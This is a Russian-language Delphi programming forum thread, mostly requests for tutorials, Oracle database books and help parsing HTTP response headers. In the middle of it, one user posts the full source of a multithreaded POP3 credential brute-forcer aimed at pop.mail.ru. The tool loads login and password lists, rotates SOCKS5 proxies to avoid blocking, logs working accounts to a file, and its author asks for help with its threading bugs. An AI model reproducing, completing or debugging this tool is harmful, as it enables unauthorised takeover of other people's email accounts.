FAQ по Delphi

[Amper]

Сабж.
Без оффтопа.

 

[falk]

Можно ли найти в инете обущающие проги, по программированию на Паскале, Дефи и т. п.?

 

[neouser]

Можно ли найти в инете обущающие проги, по программированию на Паскале, Дефи и т. п.?

ты наверное имел в виду мануалы, прикинь можно!

http://delphiworld.narod.ru/ вот тут скачай кое что ) там полно примеров и мануалов

 

[Amper]

falk
Хелпов куча... просто достаточно открыть поисковик... а если лень, то куча книг выложенно на нашем форуме в соответствующем разделе... юзай поиск...
либо, как посоветовал =neo=, используй DelphiWorld, проект уже закрыт, но ам собрана куча полезных статей...

 

[Shrek]

Прижали меня...
Нужен учебник в котором рассматривается использование БД Oracle в связке с Delphi. Если же разницы в БД кроме ее синтаксиса нет, то плз, линки на общие мануалы по программированию БД (напр., использование dbExpress)
Не надо кидать меня на гугл, был ^_^. 10x заранее. Если смогу, поставлю респ =)

 

[ICE9000]

Пошастай тут Королевство Дельфи
Что и где там я не могу сказать (не пользуюсь), но скажу вот что - задай свой вопрос там. Погут я надеюсь...

 

[Shrek]

ICE9000
Я знаю Королевство... Сам бывал там не раз. В принципе, по БД тоже пару паг скачал... Но книги там тока по синтаксису Oracle и настройкам серва.
И все равно спс!
All
Ни у кого ничего не завялялось по сабжу?

 

[Unconnected]

DRKB

MUST HAVE

 

[Zer0]

ктонибудь покажите на примере как отпарсить зоголвки передоваемые браувзеру
обьясню через винскоет устанвливаем соеденение с хттп сервером записывааем в сокет обычный гет запрос получаем ответ где в начале зоголовки потом хтмл как отрезать зоголовки покажите в парсинге не силен =((

 

[mironich]

ктонибудь покажите на примере как отпарсить зоголвки передоваемые браувзеру
обьясню через винскоет устанвливаем соеденение с хттп сервером записывааем в сокет обычный гет запрос получаем ответ где в начале зоголовки потом хтмл как отрезать зоголовки покажите в парсинге не силен =((
Ну если не на апи то через регулярки, если не понятно пиши обьясню, но походу это тугой вариант(

var 
  Form1: TForm1; 
  Login : Tstringlist; 
  proxy :  Tstringlist; 
   pas  : Tstringlist; 
   sch, proxycount : integer; 
   critical : TcriticalSection; 

implementation 

{$R *.dfm} 
procedure brute; 
var 
pop : TPOP3Send; 
begin 
pop :=TPOP3Send.Create; 
pop.AuthType :=POP3AuthLogin; 
      pop.TargetHost :='pop.mail.ru'; 
      pop.Timeout :=500; 
sch :=0; 
pop.Sock.SocksType :=ST_Socks5; 
 While sch<Login.Count-1 do 
   begin 
   Critical.Enter; 
   sch :=sch+1; 
       pop.UserName :=Login.Strings[sch]; 
        pop.Password :=pas.Strings[sch]; 
        Critical.Leave; 
            if pop.Login then 
              begin 
              if pop.Stat then 
              Critical.Enter; 
                Form1.Memo1.Lines.Add(Login.Strings[sch]+';'+pas.Strings[sch]+'Good!'); 
                Critical.Leave; 
               end 
                else 
                 begin 
                 Critical.Enter; 
                   Form1.Memo1.Lines.Add(Login.Strings[sch]+';'+pas.Strings[sch]+'Fail=('); 
                   Critical.Leave; 
                   if pop.Sock.SocksTimeout>60000 then 
                           begin 
                           Critical.Enter; 
                    proxy.ValueFromIndex[proxycount]:=':'; 
                pop.Sock.SocksIP:=proxy.Names[proxycount]; 
             pop.Sock.SocksPort :=proxy.Names[proxycount]; 
            proxycount :=proxycount+1; 
           Critical.Leave; 
                       end; 

                   end; 
   end; 
 endthread(0); 
 end; 

procedure TForm1.FormCreate(Sender: TObject); 
     begin 
                  Login :=Tstringlist.Create; 
                     pas :=Tstringlist.Create; 
                     proxy :=Tstringlist.Create; 
                     Login.LoadFromFile('login.txt'); 
                    pas.LoadFromFile('pas.txt'); 
                    proxy.LoadFromFile('proxy.txt'); 
                  critical :=TcriticalSection.Create; 
                      Memo1.Lines.Clear; 
    end; 

procedure TForm1.Button1Click(Sender: TObject); 
var 
tid1 , tid2 , tid3 ,tid4 ,tid5 ,tid6 ,tid7 ,tid8 ,tid9 , tid10 , id : longword; 
begin 
tid1:=1; 
while tid1<StrToint(Edit2.Text)  do 
begin 
tid1 :=tid1+1; 
Beginthread(nil,0,Addr(brute),nil,0,id); 
end 

end; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
Memo1.Lines.SaveToFile('GooD.txt'); 
end; 

end;

Выше код моего брута маил ру, если больше двух потоков вылазят ложные гуды, ЗЫ код кривой, и да я знаю что в мемо не гуд выводить результат (медленно), и потоки кривые..
Работает через Synapce..

 

[iceberg]

Апну тему. Пишите свои вопросы по дельфину, буду пытатся на них отвечать.

 

[HemulGM]

Так же, помогу чем смогу. С описанием, комментами и т.д.